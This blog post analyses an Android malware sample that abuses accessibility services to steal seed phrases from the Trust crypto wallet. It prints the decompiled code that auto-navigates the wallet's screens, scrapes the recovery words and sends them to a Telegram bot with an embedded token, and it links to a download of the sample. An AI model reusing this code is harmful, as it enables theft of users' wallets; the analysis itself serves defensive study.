Introduction
Hi Everyone! Welcome to the first part of the blog series based on Mobile Malware Analysis where we will deep dive into the world of mobile malware, exploring its capabilities and shed light on the potential risks it poses to the user’s privacy and security. In this post, we will focus on malware that leverages accessibility features to carry its malicious activities with a particular emphasis on stealing wallet credentials.
Application Name: Airdrop
Package ID: com.test.accessibility
SHA1: 61f4bf9b3d1dba0f023e95aaef50e2cdb6b1c6ae
The Sample Malware Artifact can be downloaded from : https://malshare.com/sample.php?action=detail&hash=70b07a67b618a6352bf35a735645b156
Analysis
Let’s begin analyzing the apk using jadx-gui to get an idea of what the Android malware is doing once installed on the victim’s device.
Android Manifest.xml
Permissions
We could see that the malware is having Internet permission which means that the application possibly communicating with an end-server or downloading a payload.
Components
We could see there are 2 activities `Splash Activity` (which is the **Launcher Activity**) and `MainActivity` and an accessibility service named `MyAccessibilityService` (we will learn more about Accessibility Services in the upcoming sections)
Let’s start analyzing **Splash Activity**
###Splash Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
getWindow().getDecorView().setLayoutDirection(1);
setContentView(R.layout.activity_splash);
Thread thread = new Thread(new Runnable() {
@Override
public final void run() {
SplashActivity.this.O();
}
});
this.s = thread;
thread.start();
}
public /* synthetic */ void O() {
try {
Thread.sleep(1500L);
Intent intent = new Intent(getApplicationContext(), MainActivity.class);
startActivity(intent);
finish();
} catch (InterruptedException e2) {
e2.printStackTrace();
}
}
We could see that this activity does nothing malicious as it just started **MainActivity**.
### Main Activity
Let’s start analyzing this activity from **onCreate()** method
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
if (O()) {
U();
} else {
W();
}
}
In function O , they are checking whether accessibility is enabled or not using Settings
class. If it is enabled they are checking whether this app’s MyAccessibilityService
is also present in the list of accessibility services provided by the device. If it is present we return True else we return False. Here is the code for function O.
public boolean O() {
String settingValue;
int accessibilityEnabled = 0;
try {
accessibilityEnabled = Settings.Secure.getInt(getContentResolver(), "accessibility_enabled");
} catch (Settings.SettingNotFoundException e2) {
}
TextUtils.SimpleStringSplitter mStringColonSplitter = new TextUtils.SimpleStringSplitter(':');
if (accessibilityEnabled == 1 && (settingValue = Settings.Secure.getString(getContentResolver(), "enabled_accessibility_services")) != null) {
mStringColonSplitter.setString(settingValue);
while (mStringColonSplitter.hasNext()) {
String accessibilityService = mStringColonSplitter.next();
if (accessibilityService.equalsIgnoreCase("com.test.accessibility/com.test.accessibility.MyAccessibilityService")) {
return true;
}
}
return false;
}
return false;
}
Now let’s check the functionality of method **U**
void U() {
try {
ComponentName name = new ComponentName("com.wallet.crypto.trustapp", "com.wallet.crypto.trustapp.ui.start.activity.StartActivity");
Intent i = new Intent("android.intent.action.MAIN");
i.addCategory("android.intent.category.LAUNCHER");
i.setFlags(270532608);
i.setComponent(name);
startActivity(i);
} catch (Exception e2) {
V();
}
}
In function V we are sending an intent to start the launcher activity of an application with a package named as com.wallet.crypto.trustapp.
At first, I thought this is also a malicious application, but then found out that it is a legit application named Trust: Crypto & Bitcoin Wallet which has more than 10 million downloads in Google Play Store. That is when I understood that is going to be the vulnerable application.**
In the case of functions V and W,
function V will exit the application if the Crypto application was not installed or that particular activity (ie StartActivity) is not found.
function W will request us to allow the accessibility service permission for this application after which it performs the functionalities we discussed in the above sections.
Malware application requesting Accessibility service permission
Before moving on to analyze MyAccessibilityService , let’s understand a bit about AccessibilityService, AccessbilityNodeInfo classes, and all of its features.
Accessibility Service
Accessibility services should are used to assist users with disabilities in using Android devices and apps. They run in the background and receive callbacks by the system when Accessibility Service events like clicking a button, or scrolling a list are performed.
How to declare an Accessibility Service
To declare Accessibility as a service in AndroidManifest.xml , it must satisfy 2 conditions
Specify that it can handle the
android.accessibilityservice.AccessibilityService
IntentRequest the
[Manifest.permission.BIND_ACCESSIBILITY_SERVICE](https://developer.android.com/reference/android/Manifest.permission#BIND_ACCESSIBILITY_SERVICE)
permission to ensure that only the system can bind to it.
If either one of the conditions isn’t satisfied, the system will ignore the service.
Role of onAccessibilityEvent()
The
onAccessibilityEvent()
method plays a crucial role in the Android ecosystem by enabling developers to receive and handle diverse accessibility events. When the system dispatches an event, this method allows developers to access valuable information such as the triggering application’s name, the component responsible for the event, and the event’s content.By overriding the
onAccessibilityEvent()
method, developers can implement custom actions tailored to specific accessibility events. This flexibility empowers them to create Accessibility services that cater to the unique needs of their users, making the Android platform more inclusive and user-friendly.
In conclusion, the onAccessibilityEvent()
method serves as a vital component of Android’s Accessibility service, facilitating the creation of specialized services that enhance accessibility and cater to diverse user requirements.
Types of Events
Accessibility events serve as an integral part of the Android system, providing valuable feedback to users and enhancing their overall experience. These events are triggered when users perform specific actions, such as clicking buttons, scrolling pages, or selecting items, among many others. By generating accessibility events, Android aims to ensure that Accessibility services can deliver meaningful information and assistance to users.
Let’s explore some of the common accessibility events:
TYPE_VIEW_CLICKED
: This event signifies a user’s action of clicking on a view, enabling developers to respond accordingly.TYPE_VIEW_SELECTED
: When users select an item, this event is triggered.TYPE_VIEW_FOCUSED
: This event captures the user’s action of focusing on a particular view.TYPE_VIEW_SCROLLED
: This event is generated when a user scrolls through a view.TYPE_NOTIFICATION_STATE_CHANGED
: This event is raised when there is a change in the state of notifications, such as displaying information to the user.
AccessibilityNodeInfo
The AccessibilityNodeInfo
class serves as a representation of a node within the window content, encompassing both the node itself and the actions that can be requested from its source.
One of the key features of this class is the assignment of integer codes to various accessibility actions. By utilizing the performAction(int action)
method, developers can execute these actions programmatically.
When combined with the AccessibilityEvent
class, which encapsulates information about accessibility events, the AccessibilityNodeInfo
class provides a comprehensive toolkit for creating inclusive and accessible applications. Accessibility events trigger actions on the corresponding AccessibilityNodeInfo
objects, enabling developers to respond appropriately to user interactions and provide meaningful feedback.
Here is a list of common action codes and their corresponding actions that can be performed using the performAction(int action)
method:
ACTION_CLICK → 16: Executes a click action on the node, simulating a user’s click on the corresponding view.
ACTION_FOCUS → 1: Sets focus on the node, allowing the user to interact with it or perform subsequent actions.
ACTION_LONG_CLICK → 32: Initiates a long-click action on the node, similar to a prolonged press by the user.
ACTION_SELECT → 4: Selects the node, indicating that it is currently chosen or active.
ACTION_SCROLL_FORWARD → 4096: Performs a forward scrolling action on the node, allowing the user to navigate through scrollable content.
ACTION_SCROLL_BACKWARD → 8192: Performs a backward scrolling action on the node, enabling the user to scroll back within scrollable content.
performGlobalAction()
Performs a global action that can be performed at any moment regardless of the current application or user location in that application. For example, going back, going home, opening recents, etc.
performGlobalAction(1) → GLOBAL_ACTION_BACK → Action to go back
performGlobalAction(2) → GLOBAL_ACTION_HOME → Action to go home
Now let’s start analyzing MyAccessibilityService
class.
public void onAccessibilityEvent(AccessibilityEvent event) {
if (event.getPackageName().equals("com.wallet.crypto.trustapp")) {
AccessibilityNodeInfo nodeInfo = event.getSource();
if (nodeInfo != null) {
if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.start.activity.StartActivity")) {
for (AccessibilityNodeInfo accessibilityNodeInfo : nodeInfo.findAccessibilityNodeInfosByText("Settings")) {
if (accessibilityNodeInfo.isClickable()) {
accessibilityNodeInfo.performAction(16);
nodeInfo.refresh();
nodeInfo.refresh();
nodeInfo.refresh();
nodeInfo.findAccessibilityNodeInfosByText("Wallets").get(0).getParent().performAction(16);
return;
}
}
} else if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.wallets.activity.WalletsActivity")) {
try {
nodeInfo.getChild(3).getChild(1).getChild(0).getChild(2).performAction(16);
} catch (Exception e2) {
}
} else if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.wallets.activity.WalletInfoActivity")) {
if (f3329b) {
nodeInfo.getChild(2).performAction(16);
} else {
nodeInfo.getChild(4).performAction(16);
}
} else if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.wallets.activity.ExportPhraseActivity")) {
nodeInfo.getChild(0).getChild(3).performAction(16);
nodeInfo.getChild(0).getChild(4).performAction(16);
nodeInfo.refresh();
nodeInfo.refresh();
nodeInfo.refresh();
String values = "" + nodeInfo.getChild(0).getChild(3).getText().toString() + " ";
f3329b = true;
a("2012379995:AAGPhRr3ntEfaB38Ul4PveGwNYLaRSiikLY", "-1001491052715", ((((((((((values + nodeInfo.getChild(0).getChild(5).getText().toString() + " ") + nodeInfo.getChild(0).getChild(7).getText().toString() + " ") + nodeInfo.getChild(0).getChild(9).getText().toString() + " ") + nodeInfo.getChild(0).getChild(11).getText().toString() + " ") + nodeInfo.getChild(0).getChild(13).getText().toString() + " ") + nodeInfo.getChild(0).getChild(15).getText().toString() + " ") + nodeInfo.getChild(0).getChild(17).getText().toString() + " ") + nodeInfo.getChild(0).getChild(19).getText().toString() + " ") + nodeInfo.getChild(0).getChild(21).getText().toString() + " ") + nodeInfo.getChild(0).getChild(23).getText().toString() + " ") + nodeInfo.getChild(0).getChild(25).getText().toString());
performGlobalAction(1);
} else if (event.getClassName().toString().equals("androidx.appcompat.app.AlertDialog")) {
try {
nodeInfo.findAccessibilityNodeInfosByText("OK").get(0).performAction(16);
f3329b = false;
} catch (Exception e3) {
}
} else if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.addwallet.activity.AddWalletActivity")) {
performGlobalAction(2);
}
}
} else if (!event.getPackageName().toString().equals("com.test.accessibility")) {
performGlobalAction(1);
}
}
Firstly it checks whether a package named “com.wallet.crypto.trustapp” has called the accessibility service.
Next, they are analyzing the class name of the event (event.getClassName().toString()
) to determine the current activity or component being interacted with.
If the class name matches com.wallet.crypto.trustapp.ui.start.activity.StartActivity
then,
Note:
To know the current activity on the screen we can use the following ADB command
**adb shell dumpsys activity activities | grep mResumedActivity**
It searches for an accessibility nodeinfo object that has text Settings and checks if it is clickable. If it is clickable, it then performs a click action.
Then, multiple calls to
nodeInfo.refresh()
are made, potentially to update the node’s state or retrieve the latest information.It finds accessibility node info objects containing the text “Wallets” and then clicks on that node.
In the next couple of if conditions , nothing much happens since only clicking events occur.
While checking for class name com.wallet.crypto.trustapp.ui.wallets.activity.ExportPhraseActivity
, we could see some interesting functionality taking place.
After performing a couple of click and refresh actions, some data present on a node is extracted with some more data is passed to a function a along with 2 other parameters.
Here is the code for method a
void a(String token, String id, String message) {
try {
b0.b bVar = new b0.b();
TimeUnit timeUnit = TimeUnit.SECONDS;
b0 okHttpClient = bVar.c(20L, timeUnit).b(3L, timeUnit).a();
u.b a2 = new u.b().b(g.a0.a.a.f()).a(g.d());
u retrofit = a2.c("https://api.telegram.org/bot" + token + "/").g(okHttpClient).e();
e serviceMain = (e) retrofit.b(e.class);
serviceMain.a(id, message).z(new a(token, id, message));
} catch (Exception e2) {
}
}
Finally, we could see the malicious behavior of this application. We could see that the data extracted from the app (possibly confidential data) is being to a malicious telegram bot endpoint.
Domain → [https://api.telegram.org/bot](https://api.telegram.org/bot)
After looking through the code we could see the endpoint it is being sent to is sendMessage
.
Let’s check our traffic to see what data is being sent. I am using Mitmproxy to see the traffic.
We could see that the secret key that was formed during account formation is being to a malicious endpoint. Using the secret key, the attacker could extract all the sensitive trading information of that user.
Conclusion
In this first part of our mobile malware analysis series, we’ve uncovered the world of Android malware that targets wallet credentials using accessibility features. As we continue this journey, we’ll explore more intriguing facets of mobile malware, equipping ourselves with the knowledge to stay one step ahead. So, stay tuned for the next installment, where we’ll unravel another captivating chapter in the ever-evolving landscape of mobile malware.
Looking to elevate your expertise in Android Security?
Offensive Android Internals Training
365 Days of Access | Hands-On Learning | Self-Paced Training
GET IN TOUCH
Visit our training page if you’re interested in learning more about these techniques and developing your abilities further. Additionally, you may look through our Events page and sign up for our upcoming Public trainings.
Check out our Certifications Program and get Certified today.
Please don’t hesitate to reach out to us through out Contact Us page or through the Button below if you have any questions or need assistance with Penetration Testing or any other Security-related Services. We will answer in a timely manner within 1 business day.
We are always looking for talented people to join our team. Visit out Careers page to look at the available roles. We would love to hear from you.